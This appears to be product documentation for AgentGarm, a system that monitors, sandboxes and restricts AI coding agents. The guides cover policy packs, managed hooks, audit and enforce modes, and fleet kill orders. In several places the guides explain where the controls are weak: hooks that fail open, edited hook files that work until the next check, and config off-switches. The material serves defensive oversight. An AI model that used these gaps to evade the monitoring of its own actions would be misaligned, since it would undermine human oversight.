audit log Export AgentGarm's hash-chained audit log, check it against the node key that signs its heads, and know what a passing or broken check tells you. Guide 38 Export evidence for one taskpreview Write one task's signed evidence bundle on its machine, verify it with the node's key, hold its records, and hand it to someone else to check. Guide 39 Send agent events to your SIEMpreview Turn on agentgarmd's exporters: OCSF events to your SIEM, OTel GenAI spans and token metrics to your collector, and notice when an export stops. Guide 40 Send the fleet's security events to Splunk or Sentinelpreview Have Central Lite forward the fleet's security and audit events, its own audit log and its alerts as OCSF to Splunk or Microsoft Sentinel. Guide 41 Send a redacted support bundlepreview steps Write a JSON file of diagnostics with your home directory, user and host names and the secrets AgentGarm recognises redacted, sent only when you share it. CI, containers and servers For machines with no one at the keyboard: a server or container whose asks are denied instead of waiting, and a CI job whose risky step you approve from your laptop. Of its 2 guides, 1 is in preview and 1 has preview steps. Guide 42 Govern agents on a headless server or containerpreview steps Check what a server or container offers, set a policy to the headless profile so every ask is denied instead of waiting, and test it before you install it. Guide 43 Approve a CI job's risky step from your laptoppreview Mark the commands a CI job may wait on a person for, and approve the job's request from the console with your passkey, for exactly that call, once. Running a fleet with Central Lite For a Central Lite admin: tour its console in the demo, stand it up, keep its keys in an HSM, deploy machines with MDM, sign in through your identity provider, provision people with SCIM, give roles, enrol machines, roll out policy and outbound inspection, stop one task or agents across the fleet, investigate a task's incident, attribute spend, and manage identities, retention, works-council packs and backups. Every guide here is in preview. Guide 44 Tour the fleet console in the demopreview Walk Central Lite's console on a fictional company's synthetic data: its machines, an incident, a kill order, costs, outbound inspection and access. Guide 45 Stand up Central Litepreview Set up Central Lite on one Linux host: its org and keys, its HTTPS port, a first admin and a backup passkey, and its first encrypted backup. Guide 46 Keep Central Lite's keys in a hardware security modulepreview Create Central Lite's org with every key wrapped under a key that never leaves your PKCS#11 token, and keep what a restore needs backed up. Guide 47 Sign in to the console with your identity providerpreview Let admins open Central Lite's console through Okta, Entra ID or another OIDC provider, with roles from its groups and a passkey still behind every change. Guide 48 Provision and remove people with SCIMpreview Let Okta or Entra ID create the people Central Lite knows, give them console roles from their groups, and end their access when they leave. Guide 49 Give people the right access in the consolepreview Give each Central Lite admin one of six roles, for the whole org or a host group, and know who may request a kill order and who holds each approver key. Guide 50 Enrol developer machinespreview Enrol a machine in Central Lite with a one-time token that pins Central Lite's key, see it report in the inventory, and let its users enrol presence keys. Guide 51 Deploy AgentGarm with MDMpreview Roll AgentGarm out to managed Macs, Linux machines and Windows PCs: the packages, the services, the macOS approvals and the browser extension. Guide 52 Roll out policy from git with canariespreview Keep agents.d policies in git and let Central Lite roll each signed commit out to canaries, then the fleet, halting by itself when machines report trouble. Guide 53 Roll out outbound inspection across a fleetpreview List the sites your fleet's agents should not send secrets to, run them in Audit, read what Block would stop, then block through a canary rollout. Guide 54 Stop an agent task on any machinepreview Kill or suspend one agent task from the Central Lite host, check that the node applied it, and revoke a machine you no longer trust. Guide 55 Stop agents across a fleetpreview Suspend, terminate or lock down agents on one machine, one agent, one person or the whole fleet, with an order two approver keys sign and each node checks. Guide 56 Investigate a task across the fleetpreview Read a task's timeline in Central Lite with its gaps, export a bundle the org root's evidence key signs, verify it offline and hold its records. Guide 57 Give every agent an owner and an identitypreview Register each person and agent in Central Lite's identity registry, issue and revoke gateway keys, and see which identity every task belongs to. Guide 58 Attribute AI spend by machine and personpreview Read your enrolled machines' model spend by day, machine, provider and model, and reconcile it against your providers' own usage and cost reports. Guide 59 Set retention, legal holds and data-subject requestspreview Set how long Central Lite keeps each class of record, put a legal hold on the records a case needs, and answer a person's access or erasure request. Guide 60 Prepare a works-council or DPIA packpreview Generate templates that describe what your deployment collects, keeps and sends, and switch the fleet to the non-monitoring profile during talks. Guide 61 Back up and restore Central Litepreview Write Central Lite's encrypted backups by hand and on a schedule, and restore one so that no enrolled node refuses what Central Lite signs next. # Watch your agent for a week, then enforce URL: https://agentgarm.com/docs/how-to/audit-then-enforce Docs › How-to guides › Watch your agent for a week, then enforce Guide 1 of 61 · Getting started Watch your agent for a week, then enforce Start a policy in audit mode, see what enforcing it would have blocked in your own history, fix the rules that get in the way, then switch it to enforce. Start a policy in audit mode, where its rules decide and record every action but let through what they would deny or ask; work as usual; see what enforcing it would have blocked in your own history; fix the rules that would get in the way; then switch it to enforce. On this page 1.Install the pack in audit mode 2.Work as usual, through AgentGarm 3.Check that the policy is the one in force 4.See what enforcing it would block 5.Fix the rules that would get in the way 6.Switch to enforce 1. Install the pack in audit mode On a no-root install, agentgarm policy init writes the default pack for your agent into your policy directory. Every pack ships with mode: audit. A root install already holds them all: sudo agentgarmd install writes every default pack, in audit mode, into the system's policy directory before agentgarmd starts, unless a policy is already there, so check that your agent's is. policy init never replaces a file that is already there unless you add --force; with --dir naming the system's directory, that puts back the shipped pack. agentgarmd reads the policy directory when it starts, so restart it after policy init: until then the pack is not in force, and your agent's actions are decided by default.yaml, or allowed when there is none. Install the Claude Code pack, no-root install agentgarm policy init claude-code Check that the root install wrote the pack ls /etc/agentgarm/agents.d # Linux ls "/Library/Application Support/AgentGarm/agents.d" # macOS Restore the shipped Claude Code pack, root install on Linux sudo agentgarm policy init claude-code --dir /etc/agentgarm/agents.d --force The pack's opening, in audit mode schema: agentgarm.com/schemas/agents/v1 name: claude-code version: "1.1.0" mode: audit Restart agentgarmd, no-root install on Linux systemctl --user restart agentgarmd Restart agentgarmd, other installs sudo systemctl restart agentgarmd # root install, Linux sudo launchctl kickstart -k system/com.agentgarm.agentgarmd # root install, macOS launchctl kickstart -k gui/$(id -u)/com.agentgarm.agentgarmd # no-root install, macOS Checked by the walk: these commands ran as written on a no-root Linux install and a root install on Linux. 2. Work as usual, through AgentGarm Start the agent with agentgarm run. In audit mode every command, file access and connection is still decided by the policy's rules and recorded with the verdict enforcing them would give, and what they would deny or ask is let through. The sandbox agentgarm run builds from the policy applies in either mode: its denied paths stay closed, and the network is reachable only through the proxy. Commands and the agent's file tools reach the policy only through the agent's hooks, which a root install puts in place (Govern Claude Code); on a no-root install Claude Code has none, so the history holds its model calls and network connections, and what the sandbox refuses is not recorded as a decision. Use the agent for real work for about a week, so the history covers what you actually do. Run Claude Code governed agentgarm run -- claude Checked by the walk: this command ran as written on a no-root Linux install. 3. Check that the policy is the one in force agentgarm status lists each policy file with its path, content hash and modification time, and flags one that changed on disk since agentgarmd loaded it. The dashboard's Policy screen shows the same, with each file in force or skipped and why. While the pack is in audit mode the dashboard's “Denied or asked” lists only what a built-in rule refused, not what the pack's rules would block; that is the next step. Check status agentgarm status Open the dashboard agentgarm ui --open Checked by the walk: this command ran as written on a no-root Linux install. The dashboard's Policy screen, listing each policy file with its state 4. See what enforcing it would block agentgarm policy lint --blast-radius replays the policy's agent's decisions among your last 500 under the enforce verdict. It counts what would now be blocked (an allow that becomes an ask or a deny, an ask that becomes a deny) and loosened, and lists up to 20 of each with the rule that decides it, in lines such as blast radius: 6 decisions replayed; 3 would be blocked, 0 loosened, and exits 1 when anything would be blocked. A root install's packs are readable by everyone, so lint the file in place as yourself. A week of work is usually more than 500 decisions. To replay all of it, export the week's decisions with agentgarmd replay export (times in RFC 3339, UTC; on macOS, date -v-7d instead of date -d '7 days ago') and replay that file with --events. Two things to check by hand: the replayed requests were redacted before they were stored, so a secret appears as its placeholder; and a recorded decision carries no workspace, so a recursive delete run from a subdirectory into another part of the same workspace can show as blocked by the outside-the-workspace rule. Replay your recent history, no-root install on Linux agentgarm policy lint ~/.config/agentgarm/agents.d/claude-code.yaml --blast-radius Replay your recent history, no-root install on macOS agentgarm policy lint ~/Library/Application\ Support/AgentGarm/agents.d/claude-code.yaml --blast-radius Replay your recent history, root install agentgarm policy lint /etc/agentgarm/agents.d/claude-code.yaml --blast-radius # Linux agentgarm policy lint "/Library/Application Support/AgentGarm/agents.d/claude-code.yaml" --blast-radius # macOS Replay the last seven days, no-root install on Linux agentgarmd replay export --policy claude-code --user --since "$(date -u -d '7 days ago' +%FT%TZ)" --until "$(date -u +%FT%TZ)" --out week.jsonl agentgarm policy lint ~/.config/agentgarm/agents.d/claude-code.yaml --blast-radius --events week.jsonl Checked by the walk: these commands ran as written on a no-root Linux install, and the output showed would be blocked and would be blocked. 5. Fix the rules that would get in the way For each blocked line, decide whether it should be. Change the rule that blocks what you need, and run the lint again: it also reports a rule that another rule shadowed, a duplicate, a conflict between two rules with the same predicates, and a policy that would deny everything. Repeat until the report shows nothing blocked, or only what you mean to block. 6. Switch to enforce Change mode: audit to mode: enforce. The lint exits 1 on any lint error or anything newly blocked, so run it once more first. agentgarmd keeps enforcing the file it loaded until it restarts, so restart it as in the first step. agentgarmd lints the policy again as it loads it. An enforce-mode policy with a lint error is rejected and fails closed: every decision for its agent is denied, and agentgarm status marks it “REJECTED (fails closed)”. The one exception is a policy that denies everything on purpose, which loads as written. The pack's hooks do not follow on their own. The shipped packs set the top-level on_internal_error: fail_open_alert, so a hook that gets no decision from agentgarmd lets the call through. If a missed decision should deny, set on_internal_error: fail_closed as well. Hooks take their fail mode from the pack when they are installed, so on a root install run sudo agentgarmd hooks install for the agent again. hooks status says whether the hook file is still what that install wrote; for Claude Code, the drop-in then reads onFailure: "block". The same order serves outbound inspection preview, which reads what launched agents upload to paste sites and webhooks: its sites start in their own Audit mode, a week of findings shows what its Block mode would have stopped, and you block site by site. Switching the policy to enforce blocks nothing there by itself, since each site keeps the mode its entry names; while the policy is in audit mode, every site stays in Audit (switch a site to Block). Install Claude Code's hooks again after the change, root install sudo agentgarmd hooks install claude-code sudo agentgarmd hooks status claude-code See also Govern Claude CodeInstall the Claude Code pack, put AgentGarm's hooks in Claude Code's managed settings, run it through the launcher and proxy, and check what is enforced. Next guide: Govern Claude CodeAll how-to guides # Govern Claude Code URL: https://agentgarm.com/docs/how-to/claude-code Docs › How-to guides › Govern Claude Code Guide 2 of 61 · Getting started Govern Claude Code Install the Claude Code pack, put AgentGarm's hooks in Claude Code's managed settings, run it through the launcher and proxy, and check what is enforced. Bring Claude Code under AgentGarm in one thread: its policy pack in audit mode, AgentGarm's hooks in Claude Code's managed settings failing open or closed as the pack declares, the launcher and proxy around each session, approvals, and a check of what is enforced and at what level. On this page 1.Install the Claude Code pack in audit mode 2.Put AgentGarm's hooks in Claude Code's managed settings 3.Start Claude Code through agentgarm run 4.Know what a deny and an ask do 5.Check the session and its level 1. Install the Claude Code pack in audit mode On a no-root install, agentgarm policy init claude-code writes the Claude Code pack into your policy directory in mode: audit: it decides and records every action and blocks nothing yet. Restart agentgarmd to load it. A root install normally has it: sudo agentgarmd install writes every default pack, in audit mode, into the system's policy directory before agentgarmd starts, unless that directory already holds a policy. Check that claude-code.yaml is there, and if it is not, write it with policy init and --dir. To put back the shipped pack over one you edited, run policy init with --dir and --force, then restart agentgarmd. Besides the command and credential rules every pack has, it keeps Claude Code's own settings (yours and the repository's), its hooks directory, its installed plugins and the repository's .git/hooks read-only to Claude Code's file tools. Like every pack, it also keeps your shell startup files, ~/.gitconfig and your per-user login services (~/Library/LaunchAgents, ~/.config/systemd/user) read-only, so once you enforce it a file-tool write to ~/.zshrc is refused. Watch a week of its decisions before you enforce it, as the guide below shows. Install the Claude Code pack, no-root install agentgarm policy init claude-code Check that the root install wrote the pack ls /etc/agentgarm/agents.d # Linux ls "/Library/Application Support/AgentGarm/agents.d" # macOS Restore the shipped Claude Code pack, root install on Linux sudo agentgarm policy init claude-code --dir /etc/agentgarm/agents.d --force Restore the shipped Claude Code pack, root install on macOS sudo agentgarm policy init claude-code --dir "/Library/Application Support/AgentGarm/agents.d" --force The pack's opening, in audit mode schema: agentgarm.com/schemas/agents/v1 name: claude-code version: "1.1.0" mode: audit See also Watch your agent for a week, then enforceStart a policy in audit mode, see what enforcing it would have blocked in your own history, fix the rules that get in the way, then switch it to enforce. 2. Put AgentGarm's hooks in Claude Code's managed settings On a root install, sudo agentgarmd hooks install claude-code writes the drop-in managed-settings.d/50-agentgarm.json in Claude Code's system directory (/Library/Application Support/ClaudeCode/ on macOS, /etc/claude-code/ on Linux). Claude Code merges it with your organisation's own managed settings, so the hooks join yours. Each blocking event gets one hook with a 10-second timeout. What a hook does when it gets no decision, because agentgarmd is unreachable or too slow, follows the pack's top-level on_internal_error. The shipped packs say fail_open_alert, so the drop-in has onFailure: "continue" and such a call goes through with a note rather than being denied. To deny it instead, set on_internal_error: fail_closed in the pack and run hooks install again: it then writes onFailure: "block", which needs Claude Code 2.1.295 or later (an older version lets the call through when a hook fails). With neither the pack nor default.yaml readable, the hooks install fail closed. hooks status says installed while the drop-in is what the last install wrote; to see which mode that was, look for onFailure in the drop-in. An MDM profile or registry policy for Claude Code outranks the drop-in, which is then ignored unless that source sets managedSourcesBehavior: "merge". hooks status says not in force when it finds one, and agentgarmd alerts if one appears later. A no-root install writes no managed hooks, so there Claude Code is governed through the launcher alone. Install Claude Code's managed hooks, root install sudo agentgarmd hooks install claude-code Check that the hooks are in force sudo agentgarmd hooks status claude-code 3. Start Claude Code through agentgarm run agentgarm run -- claude picks the Claude Code pack from the command name, registers a task, checkpoints the workspace, builds the sandbox from the pack and proves it with the canary, printing agentgarm: sandbox applied; any failure refuses the launch. It points Claude Code at the proxy with ANTHROPIC_BASE_URL, so each model call is counted and priced against the task. Sign in with an API key: export ANTHROPIC_API_KEY before you launch, and the sandbox passes it on (unless your pack brokers credentials, which strips it). Claude Code asks whether to use the key, with No selected: choose Yes (macOS keeps the answer; on Linux it asks at every launch). If it still reports Not logged in, add --settings '{"apiKeyHelper":"printenv ANTHROPIC_API_KEY"}' after claude. A claude.ai subscription login is never routed through the proxy, and inside the sandbox Claude Code cannot read it, so it reports Not logged in and makes no model call. In an organisation, give each developer a gateway key instead. Claude Code sends usage metrics to Anthropic and third-party logging, which appear as allowed egress decisions. Set DISABLE_TELEMETRY=1 before you launch to stop them; it also turns off feature flags, so Remote Control may be unavailable. Run Claude Code governed agentgarm run -- claude Checked by the walk: this command ran as written on a no-root Linux install, and the output showed agentgarm: sandbox applied. See also Give Claude Code a per-developer gateway keyGive each developer their own gateway key from Central Lite and let Claude Code fetch it through apiKeyHelper; a claude.ai login is never routed. 4. Know what a deny and an ask do A deny blocks the tool call before it runs, with the rule's reason shown to Claude Code. An ask hands the call to Claude Code's own permission prompt, and AgentGarm not objecting is never an approval: Claude Code's own prompts stay in force. For an approval that the agent cannot answer for you, enrol a presence key and approve with Touch ID. Prompt text is never sent to agentgarmd. See also Approve risky actions with Touch IDEnrol a Touch ID key on your Mac and approve each command your policy asks about with your fingerprint, for that one call only. 5. Check the session and its level While Claude Code runs, agentgarm status shows its task with an assurance level and the layer that enforces each class the policy uses. Claude Code's managed hooks rate B at best: only while the drop-in is exactly as rendered, no higher managed source hides it, and once a live run is recorded on the coverage page; until then they rate C. The sandbox's file boundaries hold whatever the hooks do. MCP servers that Claude Code or its host app loads by itself (in-process servers, claude.ai connectors) load beside the policy's. Check Claude Code's session and coverage agentgarm status Checked by the walk: this command ran as written on a no-root Linux install. See also Check that protection is onSee whether AgentGarm's services are up, what assurance level each agent session has and why, and what to do about a bypass alert. Next guide: Govern Codex CLIAll how-to guides # Govern Codex CLI URL: https://agentgarm.com/docs/how-to/codex Docs › How-to guides › Govern Codex CLI Guide 3 of 61 · Getting started Govern Codex CLI Install the Codex pack, add its hooks to Codex's managed requirements.toml on a root install, start Codex through the launcher, and check what is enforced. Install the Codex policy pack, add AgentGarm's hooks to Codex's managed requirements.toml on a root install, start Codex through the launcher so the sandbox holds whatever its hooks do, and check what is enforced and at what level. On this page 1.Install the Codex pack in audit mode 2.Put AgentGarm's hooks in Codex's managed requirements.toml 3.Start Codex through agentgarm run 4.Know what enforces and what only advises 5.Check the session with status 1. Install the Codex pack in audit mode On a no-root install, agentgarm policy init codex writes the Codex pack into your policy directory, in mode: audit, and never over a file that is already there unless you add --force. A root install normally has it: sudo agentgarmd install writes every default pack, in audit mode, into the system's policy directory before agentgarmd starts, unless that directory already holds a policy, so check that codex.yaml is there (if not, policy init with --dir writes it); policy init with --dir and --force puts back the shipped pack. The launcher picks it for a command named codex. agentgarmd reads the policy directory when it starts, so after policy init restart it as the rollout guide shows, and enforce the pack only after its blast radius on your own history is clear. Besides the command rules every pack has, it makes Codex's own configuration read-only to file tools: ~/.codex/config.toml, hooks.json, requirements.toml and its installed skills, and the workspace's .codex and .git/hooks. Like every pack, it also keeps your shell startup files, ~/.gitconfig and your per-user login services read-only, so once you enforce it a file-tool write to ~/.zshrc is refused. Install the Codex pack, no-root install agentgarm policy init codex Check that the root install wrote the pack ls /etc/agentgarm/agents.d # Linux ls "/Library/Application Support/AgentGarm/agents.d" # macOS Restore the shipped Codex pack, root install on Linux sudo agentgarm policy init codex --dir /etc/agentgarm/agents.d --force Restore the shipped Codex pack, root install on macOS sudo agentgarm policy init codex --dir "/Library/Application Support/AgentGarm/agents.d" --force The Codex pack's opening schema: agentgarm.com/schemas/agents/v1 name: codex version: "1.1.0" mode: audit profile: interactive on_internal_error: fail_open_alert match: launcher: true binaries: [codex] process_tree_root: true Codex configuration the pack keeps read-only read_only: - "~/.codex/config.toml" - "~/.codex/hooks.json" - "~/.codex/requirements.toml" - "~/.codex/skills" # installed skills load at the next start, sandboxed or not - "${WORKSPACE}/.codex" - "${WORKSPACE}/.git/hooks" # User persistence: shell startup files, git's global configuration and per-user login # services. File tools are refused here; for agents launched through `agentgarm run` each is # also a sandbox write deny, and where an OS file sentinel runs it refuses any process's write. - "~/.bashrc" - "~/.zshrc" - "~/.profile" - "~/.bash_profile" - "~/.zprofile" - "~/.gitconfig" - "~/Library/LaunchAgents" - "~/.config/systemd/user" Checked by the walk: these commands ran as written on a no-root Linux install and a root install on Linux. See also Watch your agent for a week, then enforceStart a policy in audit mode, see what enforcing it would have blocked in your own history, fix the rules that get in the way, then switch it to enforce. 2. Put AgentGarm's hooks in Codex's managed requirements.toml On a root install, sudo agentgarmd hooks install codex adds AgentGarm's hooks to the system requirements.toml (/etc/codex/ on Linux and macOS). It merges into a file your organisation may already own: it sets [features] hooks = true, sets hooks.managed_dir only if it is unset, and replaces only its own hook groups, keeping your hooks, keys and comments. allow_managed_hooks_only is left to you. A file that is not valid TOML is refused and left untouched. [features] hooks = true pins Codex's hooks on; it is not a fail-closed flag, and Codex has none. agentgarmd checks the install every 500 ms: an edited command or features.hooks switched off is rewritten, recorded as a policy-source conflict, and lowers Codex's live tasks to C. A no-root install writes no Codex hooks (a managed source needs root), so there Codex is governed through the launcher alone. Install Codex's managed hooks, root install sudo agentgarmd hooks install codex Check that Codex's hooks are in force sudo agentgarmd hooks status codex Checked by the walk: these commands ran as written on a root install on Linux. 3. Start Codex through agentgarm run agentgarm run picks the Codex pack from the command name, registers a task, checkpoints the workspace, builds the sandbox from the pack, proves it with the canary and routes the agent through the proxy; any failure refuses the launch. In the sandbox Codex may write its workspace and ~/.codex, and the credential paths stay closed. On macOS it cannot write ~/.codex/config.toml, hooks.json, requirements.toml or the installed skills in ~/.codex/skills, which Codex loads at its next start; on Linux, Landlock cannot carve a file out of a writable directory, so there only Codex's hooks, where installed, guard them. With CODEX_HOME set to an absolute path, that directory takes the place of ~/.codex, with the same denies, and the launch checks the hooks, plugins and MCP servers there as it does the home's. Codex takes its model endpoint from openai_base_url in its configuration, not from the OPENAI_BASE_URL the launcher sets, so agentgarm run passes it to Codex: the proxy's /openai/v1 route. On macOS it also runs Codex with sandbox_mode="danger-full-access", because Codex's own sandbox cannot start inside AgentGarm's, which is the one that enforces. A -c or -s of your own after codex still wins. Codex sends no task header, so the proxy counts each model call against the task through Codex's process, under the task's budget. The proxy carries no WebSocket: it answers Codex's WebSocket attempt with 426, and Codex goes on over HTTPS. Sign in with an API key before you launch. A ChatGPT sign-in is never routed: inside the sandbox Codex cannot refresh it, so no model call is made. Switch to the key once, outside agentgarm run. Codex also cannot save a folder's trust from inside the sandbox: when a folder is new to it, agentgarm run prints the entry to add to its config.toml from outside. Sign Codex in with your API key printenv OPENAI_API_KEY | codex login --with-api-key Run Codex governed, through the proxy agentgarm run -- codex 4. Know what enforces and what only advises Codex's hooks fail open: a hook that times out, crashes or answers badly lets the call go ahead. Codex cannot pause for an answer, so a policy's ask is applied as a deny, and it cannot apply a changed call, so a modification is a deny too; a patch is checked file by file, and one protected file denies the whole patch. For these reasons Codex's hooks are rated C (observed) on every host, managed or not (coverage). What enforces is the launcher and the sandbox: a launch that fails a check is refused, and the sandbox's file boundaries (and on macOS its network boundary) hold whatever the hooks do. [features] hooks = false in ~/.codex/config.toml or the workspace's .codex/config.toml is reported as a user off-switch and lowers the task to C. 5. Check the session with status While Codex runs, agentgarm status shows its task with an assurance level and, under it, each class the policy uses with the layer that enforces it. The level is the weakest of those classes: the pack has command rules, which only Codex's hooks can judge, so a Codex session rates C, while its files class is B from the sandbox wherever the launch's containment check passes. The coverage line for codex gives its hook tier, whether the managed hooks are in force, and a cannot: line for each thing its hooks cannot do. Until agentgarmd is restarted (or sent SIGHUP) after agentgarm policy init codex, the policy line for codex reads NOT LOADED. The adapter is verified against Codex 0.165.0; a Codex past its verified range is flagged as drift by agentgarm agents, and its tasks show it on their lowered: line. Check Codex's session and coverage agentgarm status Checked by the walk: this command ran as written on a no-root Linux install. See also Check that protection is onSee whether AgentGarm's services are up, what assurance level each agent session has and why, and what to do about a bypass alert. Next guide: Govern Cursor, Copilot CLI, Devin, Cline and otherspreviewAll how-to guides # Govern Cursor, Copilot CLI, Devin, Cline and others URL: https://agentgarm.com/docs/how-to/other-agents Docs › How-to guides › Govern Cursor, Copilot CLI, Devin, Cline and others Guide 4 of 61 · Getting started Govern Cursor, Copilot CLI, Devin, Cline and others Install your agent's policy pack in audit mode, put AgentGarm's hooks where that agent reads them, and read what its hooks cannot do. Built, not yet claimed preview: this guide describes a package that has not passed its release gate. Find your agent on the coverage page, install its policy pack in audit mode, put AgentGarm's hooks where that agent reads them, let agentgarmd keep them there, start the agent through the launcher where it is a command-line tool, and read what its hooks cannot do. On this page 1.Find your agent on the coverage page 2.Install the agent's pack in audit mode 3.Install the agent's hooks 4.Let agentgarmd keep the hooks in place 5.Start command-line agents through agentgarm run 6.Read what the agent's hooks cannot do 1. Find your agent on the coverage page The coverage page has a row for every agent AgentGarm has a hook adapter for: Cursor, GitHub Copilot CLI, Devin CLI and Devin Desktop (formerly Windsurf), Factory Droid, Gemini CLI, Amp, OpenCode v1 and v2, Cline (CLI and extension) and Antigravity, besides Claude Code and Codex. Each row says where the hooks live (managed hooks, a system file or a user file) and which version the adapter was verified against. The adapters for these agents are built but not yet claimed, so the page states no level for them. An agent with no row has no adapter: govern it with agentgarm wrap instead. See also Govern an agent with no hooksRun an agent AgentGarm has no hook adapter for inside the same sandbox and proxy, and know which of your policy's rules that leaves unenforced. 2. Install the agent's pack in audit mode agentgarm policy init takes the pack names cursor, copilot-cli, devin-cli, devin-desktop, factory-droid, gemini-cli, amp, opencode (both OpenCode lines), cline (both Cline surfaces) and antigravity-cli, as well as default, claude-code and codex; it has no windsurf alias. Every pack ships in mode: audit and is never written over an existing file unless you add --force. A root install (sudo agentgarmd install) writes every pack, readable by everyone, when its policy directory holds none yet; add a missing one with policy init and --dir, and --force restores a shipped pack you changed. Besides the command and credential rules every pack has, each keeps the hook and plugin files AgentGarm relies on read-only to the agent's file tools, and its MCP configuration too where the agent does not rewrite that itself: Cline's ~/.cline/data, Amp's user settings.json and Cursor's cli-config.json stay writable. Restart agentgarmd to load the pack, and enforce it only after its blast radius on your own history is clear. Install the Cursor pack, no-root install agentgarm policy init cursor Restore the shipped Copilot CLI pack, root install on Linux sudo agentgarm policy init copilot-cli --dir /etc/agentgarm/agents.d --force The Cursor pack's opening schema: agentgarm.com/schemas/agents/v1 name: cursor version: "1.1.0" mode: audit profile: interactive on_internal_error: fail_open_alert match: launcher: true binaries: [cursor-agent] process_tree_root: true Cursor configuration the pack keeps read-only read_only: - "~/.cursor/hooks.json" - "~/.cursor/mcp.json" - "~/.cursor/sandbox.json" - "~/.claude/settings.json" - "${WORKSPACE}/.cursor" - "${WORKSPACE}/.claude/settings.json" - "${WORKSPACE}/.claude/settings.local.json" - "${WORKSPACE}/.git/hooks" # User persistence: shell startup files, git's global configuration and per-user login # services. File tools are refused here; for agents launched through `agentgarm run` each is # also a sandbox write deny, and where an OS file sentinel runs it refuses any process's write. - "~/.bashrc" - "~/.zshrc" - "~/.profile" - "~/.bash_profile" - "~/.zprofile" - "~/.gitconfig" - "~/Library/LaunchAgents" - "~/.config/systemd/user" Checked by the walk: these commands ran as written on a no-root Linux install and a root install on Linux. See also Watch your agent for a week, then enforceStart a policy in audit mode, see what enforcing it would have blocked in your own history, fix the rules that get in the way, then switch it to enforce. 3. Install the agent's hooks agentgarmd hooks install takes the adapter's name, which for some agents differs from the pack's: opencode-v1 or opencode-v2, cline (the CLI's plugin) or cline-hooks (the file hook both surfaces run), and antigravity; devin-desktop and its alias windsurf install the same entries as devin-cli, which Devin Local reads. Cursor, Copilot CLI, Factory Droid, Gemini CLI and OpenCode take their hooks from a system file, so the install needs a root install. Copilot CLI gets a file of its own in its admin policy.d. Cursor's enterprise hooks.json (its failClosed following the pack's on_internal_error, so false for the shipped pack), Factory Droid's and Gemini CLI's system settings.json and OpenCode's system opencode.json are edited in place, keeping your organisation's own entries. For Factory Droid the install also sets allowManagedHooksOnly: true, and it is refused when no system settings.json exists unless you add --create-system-settings, because a new file makes Droid ignore the organisation's remote managed settings on that host. For Gemini CLI the install also writes agentgarm.toml into Gemini's admin policy directory, the deny rules of the policy agentgarmd enforces for Gemini projected into Gemini's own policy engine, and keeps it in step when that policy changes. Devin, Amp, Cline and Antigravity read their hooks only from files in your home, such as ~/.config/devin/config.json or ~/.gemini/config/hooks.json. Those are written as you, never as root: add --user on a no-root install, or, on a root install, --for-user with your user name (other agents refuse it). Amp's and the Cline CLI's hooks are plugin modules that load AgentGarm's shim from beside the hook binary, so their install is refused while the shim is missing; the release carries it, and agentgarmd plugins install writes it where a package does not. Install Cursor's hooks, root install sudo agentgarmd hooks install cursor Install Copilot CLI's hooks, root install sudo agentgarmd hooks install copilot-cli Checked by the walk: these commands ran as written on a root install on Linux. 4. Let agentgarmd keep the hooks in place Each install is recorded, and the running agentgarmd checks every recorded install every 500 ms. A deleted file or an edited AgentGarm entry (Cursor's failClosed changed, say) is written back and reported as a policy-source conflict, which also arrives as a “Policies conflict” notice; between the edit and the next check the agent can run with the edited file, which is one reason the hook layer is advisory. agentgarmd hooks remove takes the install off the record first, so a hook you remove on purpose is not put back. Check Cursor's hooks sudo agentgarmd hooks status cursor Remove Cursor's hooks sudo agentgarmd hooks remove cursor Checked by the walk: these commands ran as written on a root install on Linux. See also Get told when an agent is denied or asksFollow each denial, approval ask and alert as it happens: in a terminal, as desktop notifications, or through your own Linux notifier. 5. Start command-line agents through agentgarm run Hooks fail open for most of these agents, so what enforces is the launcher and its sandbox. agentgarm run picks the agent's pack from the command name for cursor-agent, copilot, devin, droid, gemini, amp, cline, agy (the antigravity-cli pack) and opencode, builds the sandbox from it, proves it with the canary and routes the agent through the proxy; any failure refuses the launch. Desktop agents such as Devin Desktop and the Cursor IDE are not started this way, so for them only the hooks apply, and on a Mac the airbag's host rule unlaunched preview, off by default, is what reaches the input they post (C). Run the Cursor CLI governed agentgarm run -- cursor-agent See also Limit what an agent can read, write and reachDecide which files an agent may read and write and which hosts it may reach, know which layer holds each rule, and recognise a denial. 6. Read what the agent's hooks cannot do These adapters are built but not yet claimed: until a live, recorded run of the real agent on macOS and Linux, none is rated above C (observed). The coverage page lists an agent's gaps only once its adapter is claimed, so read them from the adapter itself. agentgarmd hooks status prints them, and so does agentgarm status for an agent installed, seen in a task or given a policy (agentgarm status --all for every adapter): under each agent's coverage line, which gives its hook tier and whether the managed hooks are in force, a cannot: line for each thing its hooks cannot do. The dashboard's Agents screen shows the same, with each agent's gaps when you open it. See each agent's coverage gaps agentgarm status Checked by the walk: this command ran as written on a no-root Linux install. See also Check that protection is onSee whether AgentGarm's services are up, what assurance level each agent session has and why, and what to do about a bypass alert. Next guide: Govern an agent with no hooksAll how-to guides # Govern an agent with no hooks URL: https://agentgarm.com/docs/how-to/wrap Docs › How-to guides › Govern an agent with no hooks Guide 5 of 61 · Getting started Govern an agent with no hooks Run an agent AgentGarm has no hook adapter for inside the same sandbox and proxy, and know which of your policy's rules that leaves unenforced. Run an agent AgentGarm has no hook adapter for inside the same sandbox and proxy as any other, know exactly which of your policy's rules that leaves unenforced, and know when an adapter would add them. On this page 1.Check whether your agent has an adapter 2.Give the wrapped agent a policy 3.Start the agent with agentgarm wrap 4.Read what it says is not enforced 5.Know what the sandbox and proxy still do 6.Ask for an adapter when you need more 1. Check whether your agent has an adapter An agent with a hook adapter is started with agentgarm run, and its hooks decide each command and tool call; the agents with one are on the coverage page, and agentgarm agents lists the ones installed here, with their versions. Some agents have no hook API at all, such as Aider, Continue, Zed and Roo Code. For those, and for any agent without an adapter, agentgarm wrap applies everything that needs no hooks. List the installed agents that have adapters agentgarm agents See also Govern Codex CLIInstall the Codex pack, add its hooks to Codex's managed requirements.toml on a root install, start Codex through the launcher, and check what is enforced. 2. Give the wrapped agent a policy agentgarm wrap uses the policy named custom (--agent names another), reading custom.yaml from your policy directory and, when there is none, default.yaml. agentgarm install --user writes the default pack when there is none, and sudo agentgarmd install writes every default pack, this one among them, when the system's policy directory holds none; otherwise agentgarm policy init default writes it, in mode: audit (on a root install, with --dir and --force, it puts back the shipped pack). Its file rules go into the sandbox: reads of the credential paths below are denied, and writes to the workspace's .git/hooks, your shell startup files, ~/.gitconfig and your per-user login services. On Linux, Landlock cannot express the .env globs or a write deny inside the workspace, so there a workspace .env stays readable and .git/hooks writable. Install the default pack, no-root install agentgarm policy init default Check that the root install wrote the default pack ls 